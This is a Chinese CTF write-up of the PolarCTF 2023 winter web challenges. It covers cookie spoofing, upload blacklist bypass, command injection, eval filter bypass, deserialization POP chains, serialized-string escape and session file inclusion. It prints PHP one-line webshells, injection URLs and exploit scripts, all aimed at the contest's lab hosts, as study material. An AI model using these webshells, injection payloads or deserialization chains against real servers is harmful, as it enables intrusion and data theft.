PolarCTF 2023冬季个人挑战赛 WriteUp (web部分)

1 Simple

1.1 cookie欺骗

打开题目如下

查看当前的Cookie信息

将Cookie设置为 Cookie: user=admin

得到flag

1.2 upload

查看页面源代码,发现一个被注释掉的 ?action=show_code

访问URL:http://6e31dfbd-2989-4a0c-b3f6-23afddcf9d8c.www.polarctf.com:8090/?action=show_code

可以看到该题给出一个上传文件后缀黑名单,并使用trim函数获取去除首尾空格的文件名,若文件名中包含不被允许的字符串,则使用空字符""进行替换

那么,可以使用双写绕过上述文件后缀黑名单

直接上传一个shell.php,然后使用BP抓包

采用文件后缀双写绕过,将文件名修改为shell.pphphp

上传路径及文件名为/upload/29048shell.php

访问:http://6e31dfbd-2989-4a0c-b3f6-23afddcf9d8c.www.polarctf.com:8090/upload/29048shell.php

然后使用蚁剑连接

在/var/www目录下得到flag

1.3 干正则

题目代码如下

<?php
  error_reporting(0);
if (empty($_GET['id'])) {
  show_source(__FILE__);
  die();
} else {
  include 'flag.php';
  $a = "www.baidu.com";
  $result = "";
  $id = $_GET['id'];
  @parse_str($id);
  echo $a[0];
  if ($a[0] == 'www.polarctf.com') {
    $ip = $_GET['cmd'];
    if (preg_match('/flag\.php/', $ip)) {
      die("don't show flag!!!");
    }

    $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
    if ($result) {
      echo "<pre>{$result}</pre>";
    }
  } else {
    exit('其实很简单!');
  }
} 

由以下代码可以判断存在变量覆盖漏洞

$id = $_GET['id'];
@parse_str($id);
echo $a[0];

那么我们可以通过传入参数 id 的值来修改变量 $a 的值,进而使 if 语句中判断条件 $a[0] == 'www.polarctf.com' 成立

随后,可以看到对传入参数 cmd 进行正则匹配检测,若参数 cmd 中包含 flag.php,则调用 die 函数终止程序执行并输出消息 "don't show flag!!!"

若用于正则匹配的 if 语句不成立,则执行 ping -c 2 www.polarctf.com $ip 命令

显然,传入参数 cmd 可以通过管道符 | 来分隔多个命令,进而达到执行其他命令的目的

对于正则绕过,则有如下常见方式

绕过方式

用于绕过的命令

*号匹配

cmd=|cat fla*

引号分隔

cmd=|cat fla""g.php 或者 cmd=|cat fla''g.php

首先,访问如下URL,查看当前目录下存在的文件

http://911c98fb-28c1-424c-882b-a269f4fe331b.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|ls

可以看到当前路径下存在 flag.php 文件

然后,通过如下URL发起GET请求传入参数

http://911c98fb-28c1-424c-882b-a269f4fe331b.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat fla""g.php

CTRL+U 查看页面源代码,得到flag

1.4 cool

题目代码如下,可以看到通过正则匹配,对 flag、system、php 这三个字符串进行不区分大小写的匹配

<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?> 

在php中,下列方式都可以用于执行系统命令

命令

有无回显

完整命令

`whoami`

echo `whoami`

passthru('whoami');

passthru('whoami');

system('whoami');

system('whoami');

exec('whoami');

echo exec('whoami');

shell_exec('whoami');

echo shell_exec('whoami');

那么,可以通过如下URL发起GET请求传入参数,查看当前目录下存在的文件

http://f962cabf-3d99-4ed8-9e63-71f25b497c13.www.polarctf.com:8090/?a=passthru('ls');

当前目录下存在flag.txt文件

通过如下URL发起GET请求传入参数,得到flag

http://f962cabf-3d99-4ed8-9e63-71f25b497c13.www.polarctf.com:8090/?a=passthru('cat fla*');

2 Middle

2.1 你的马呢?

本题主要考查文件上传过程中的内容编解码操作

首先,创建一个 a.php,内容为 base64 编码后的一句话木马

# eval_POST 一句话木马
<?php eval($_POST['a']);?>
# base64编码后
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

然后,将文件名修改为 a.jpg,上传

然后,通过如下的文件过滤解码方法,对上传的文件内容进行base64解码

/index.php?file=php://filter/convert.base64-decode()/resource=[shell_upload_path]

访问如下URL

http://9c5f4d94-16a0-4e6b-ac40-6fc2328a9021.www.polarctf.com:8090/index.php?file=php://filter/convert.base64-decode/resource=uploads/a.jpg

使用蚁剑连接,在根目录下得到flag

2.2 ezphp

打开题目链接,内容如下

由爬虫联想到路径遍历,那么尝试访问 /robots.txt 文件。成功访问,内容如下

逐个查看,发现 /file 路径下存在一个 file.php 文件

访问 file.php 文件,内容如下,很明显此处存在一个文件包含漏洞

<?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?> 

然后,查看 /uploads 路径,内容如下

/uploads/images 路径为空

访问 /uploads 路径下的 upload.php 文件,内容如下,是一个文件上传页面

查看页面源代码,只接受 .jpg, .jpeg, .png, .gif 四个类型的文件

选择一个具有 .png 文件头的 a.png 图片木马,进行上传

查找发现上传路径为 /uploads/images

利用 /file 路径下的 file.php 中的文件包含漏洞,包含 /uploads/images 路径下的 a.png 文件

此处需要使用绝对路径。经过尝试可发现上传的 a.png 图片木马的绝对路径为 /var/www/uploads/images/shell.png

访问如下URL传递GET请求参数

http://83a995d4-a53d-431b-8e14-3b31a4ea1956.www.polarctf.com:8090/file/file.php?filename=/var/www/uploads/images/a.png

尝试使用POST请求执行系统命令,成功

蚁剑连接,在 webuser 用户的 home 目录下找到 flag

2.3 随机值

题目代码如下,本题考查php反序列化

 <?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?> 

对上述代码进行分析,可知GET请求传递的参数sys将被反序列化作为 Index 类的一个对象 $a,因此我们需要创建一个 Index 类的对象并对其进行序列化操作。

getflag() 函数内部的Polar1、Polar2、Night、Light不会受到私有属性(或保护属性)的影响,那么我们可以直接构造一个__construct() 函数来满足 echo $flag 的条件。

综上所述,构造exp如下

<?php
class Index{
  function __construct(){
    $this->Polar1 = &$this->Polar2;
    $this->Night = &$this->Light;
  }
}
$a = new Index();  
echo urlencode(serialize($a));

 执行代码,输出如下

O%3A5%3A%22Index%22%3A4%3A%7Bs%3A6%3A%22Polar2%22%3BN%3Bs%3A6%3A%22Polar1%22%3BR%3A2%3Bs%3A5%3A%22Light%22%3BN%3Bs%3A5%3A%22Night%22%3BR%3A3%3B%7D

 将上述输出作为参数sys的值,构造GET请求如下

http://bbc96c8b-b19f-4285-8261-489a2ea56a54.www.polarctf.com:8090/?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A6%3A%22Polar2%22%3BN%3Bs%3A6%3A%22Polar1%22%3BR%3A2%3Bs%3A5%3A%22Light%22%3BN%3Bs%3A5%3A%22Night%22%3BR%3A3%3B%7D

得到flag

2.4 phpurl

题目的txt文件信息如下

对上述字符进行base64解码

访问:http://daa5d095-8b6b-4f0f-8351-725f4bb419cb.www.polarctf.com:8090/index.phps

可以看到如下内容

这是一个备份文件,因此我们向实际的php文件传递参数时,需要将最后的 s 去除

分析代码可知,本题考查二次URL解码,浏览器自身会进行第一次URL解码,然后php代码中的urldecode函数会进行第二次URL解码

因此,向sys变量传递的字符串"xxs"需要经过两次URL编码,仅编码第一个字符

# 全字符URL编码
x -> %78
# 普通URL编码
%78 -> %2578

最终的URL为

http://daa5d095-8b6b-4f0f-8351-725f4bb419cb.www.polarctf.com:8090/index.php?sys=%2578xs

得到flag

3 Hard

3.1 苦海

本题给出如下代码

<?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

(1)User 类

该类的入口函数为 __wakeup() ,__wakeup() 方法实现了对 printName() 方法的调用

(2)Surrender 类

该类的入口函数为 __toString()

(3)FileRobot 类

该类的入口函数为 __get() ,Get_file() 方法可以用来读取指定文件,而 __invoke() 方法实现了对 Get_file() 函数的调用

首先,我们将 User 类对象的成员变量 $name 赋值为一个 Surrender 类的对象,那么在调用 User 类中的 printName() 方法时,会进入 Surrender 类

$a = new User();
$b = new Surrender();
$a->name = $b;

然后,由于 Surrender 类中的 __toString() 方法返回值为:$this->file['filename']->content['title'],那么如果将 Surrender 类对象的成员变量 file['filename'] 赋值为一个 Surrender 类的对象,在调用 Surrender 类中的 __toString() 方法时,会进入 FileRobot 类

$c = new FileRobot();
$b->file['filename'] = $c;

最后,由于 FileRobot 类的入口函数为 __get(),在 __get() 方法中会返回 FileRobot 类对象的成员变量 $path ;因此,如果将 FileRobot 类对象的成员变量 $path 赋值为一个 FileRobot 类的对象(该对象的成员变量 $filename = 'flag.php'),那么在调用前一个 FileRobot 类对象的 __toString() 方法时,会进入到后一个 FileRobot 类对象的 __invoke() 方法中,进而执行 Get_file() 方法,读取 flag.php 文件内容

$d = new FileRobot();
$d->filename = '../flag.php';
$c->path = $d;

综上所述,构造exp如下,由于 Surrender() 类的对象有一个私有成员变量$phone,因此需要对序列化的结果进行URL编码处理

$a = new User();
$b = new Surrender();
$c = new FileRobot();
$d = new FileRobot();
$d->filename = '../flag.php';

$a->name = $b;
$b->file['filename'] = $c;
$c->path = $d;

echo "\n";
echo urlencode(serialize($a));

执行代码,输出为

删库跑路,蹲监狱~
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D

构造GET请求如下

得到响应

对字符串进行base64解码,得到flag

3.2 你想逃也逃不掉

本题主要考查字符串逃逸、php序列化、变量覆盖等知识

题目给出如下代码

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';

$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo file_get_contents('flag.php');
} 

首先,我们测试直接传入一般参数时的情况,编写如下代码

<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'admin';
$user['passwd'] = 'admin';
$user['sign'] = 'ytyyds';

$ans = filter(serialize($user));
printf($ans);

运行结果如下

a:3:{s:8:"username";s:5:"admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}

我们可以总结出,进行序列化之后的每个字符串,格式转换为如下形式

# len(string)为字符串长度
s:len(string):"string";

同时,我们可以发现,最后一个序列化后的字符串以 } 结尾

现在,我们需要考虑,如何通过构造序列化字符串来覆盖 $user['sign'] 的值,使其等于 "ytyyds"

显然,我们需要通过GET请求传入的 passwd 参数,来实现对 $user['sign'] 值的覆盖

以及都是我们必须构造的,因而可以初步构造 passwd 的值如下

admin";s:4:"sign";s:6:"ytyyds";}

编写如下代码观察 $user 序列化之后的输出

<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'admin';
$user['passwd'] = 'admin";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';

$ans = filter(serialize($user));
printf($ans);

运行代码,此时输出为

a:3:{s:8:"username";s:5:"admin";s:6:"passwd";s:32:"admin";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}

仔细观察上述输出,显然有两个错误的地方会导致我们利用失败:

(1)在如下字符串单元中,字符串长度32与字符串实际长度5不匹配

s:32:"admin";

(2)如下字符串单元虽然可以起到绕过作用,但引号未正确关闭

s:6:"ytyyds";}";s:4:"sign";s:6:"123456";

针对上述第一个问题,可以通过利用 filter($string) 函数充填 $user['username'] 的值实现字符串逃逸

针对上述第二个问题,可以通过在GET请求参数 passwd 的值后面加上一个 " 实现

因此,重新构造GET请求参数 passwd 的值如下

admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"

编写如下代码观察 $user 序列化之后的输出

<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'admin';
$user['passwd'] = 'admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"';
$user['sign'] = '123456';

$ans = filter(serialize($user));
printf($ans);

输出为

a:3:{s:8:"username";s:5:"admin";s:6:"passwd";s:58:"admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"";s:4:"sign";s:6:"123456";}

该输出可以视为三个部分

s:8:"username";
s:5:"admin";s:6:"passwd";s:58:"admin";
s:6:"passwd";
s:5:"admin";
s:4:"sign";
s:6:"ytyyds";}"";s:4:"sign";s:6:"123456";}

后两个部分都已经是正确,现在我们只需要通过构造POST请求参数 username 的值来使得该值的实际字符串长度与 s 之后的长度大小一致。由于 username 的值长度为31,将 username 的值 admin 替换为符合正则匹配要求的字符串后,会将 admin 替换为空字符串,因而长度变为:31-5=26

# 替换前长度为31
admin";s:6:"passwd";s:58:"admin
# 替换后长度为26
";s:6:"passwd";s:58:"admin

因此,我们需要填入26个符合正则匹配要求的字符,作为POST请求参数 username 的值

综上所述,我们可以构造如下GET请求和POST请求

# GET请求
passwd=admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"
# POST请求
name=phtmlphtmlphtmlphp5aspxgif

编写如下代码观察 $user 序列化之后的输出

<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'phtmlphtmlphtmlphp5aspxgif';
$user['passwd'] = 'admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"';
$user['sign'] = '123456';

$ans = filter(serialize($user));
printf($ans);

输出为

a:3:{s:8:"username";s:26:"";s:6:"passwd";s:58:"admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"";s:4:"sign";s:6:"123456";}

可以观察到现在第一部分已经正确

s:8:"username";
s:26:"";s:6:"passwd";s:58:"admin";

执行以下参数传入

查看页面源代码,得到flag

3.3 safe_include

查看本题代码,并进行解读

<?php 
show_source(__FILE__); 
# 启动PHP会话(session),@ 符号用于抑制可能出现的错误或警告信息
@session_start();

# 设置 PHP 的 open_basedir 配置,限制 PHP 打开文件和目录的路径
# 此处只允许在 /var/www/html/ 和 /tmp/ 这两个目录及其子目录下访问文件
ini_set('open_basedir', '/var/www/html/:/tmp/'); 

# 从session中获取名为 'xxs' 的变量,并将其值赋给 $sys 变量
$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys = $_GET['xxs'];
}

# 包含一个PHP文件,文件名由 $sys 变量指定
@include $sys;

# 将 $sys 变量的值存储到session中,以便下次请求时可以恢复这个值
$_SESSION['xxs'] = $sys;

由于是赛题是 Docker 环境,因此session一般存放在 /tmp 目录下

在PHP中,传入的session格式一般如下, [PHPSESSID] 的值可在Cookie中查看

sess_[PHPSESSID]

我们构造如下GET请求参数,利用本题的文件包含漏洞来传入一个一句话木马

xxs=<?php eval($_POST['a']);?>

在Cookie中查看 [PHPSESSID] 的值

那么,我们的session为

sess_rg3mc1mtcogd4hfj2f4j7mjn64

为利用session需要构造的完整GET请求参数为

xxs=/tmp/sess_rg3mc1mtcogd4hfj2f4j7mjn64

我们使用蚁剑连接如下URL

http://406c49a2-9bef-4612-8fc8-008faab364a7.www.polarctf.com:8090/?xxs=/tmp/sess_rg3mc1mtcogd4hfj2f4j7mjn64

在根目录下获得flag

3.4 CB链

本题待补充,博主还在学习研究中。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值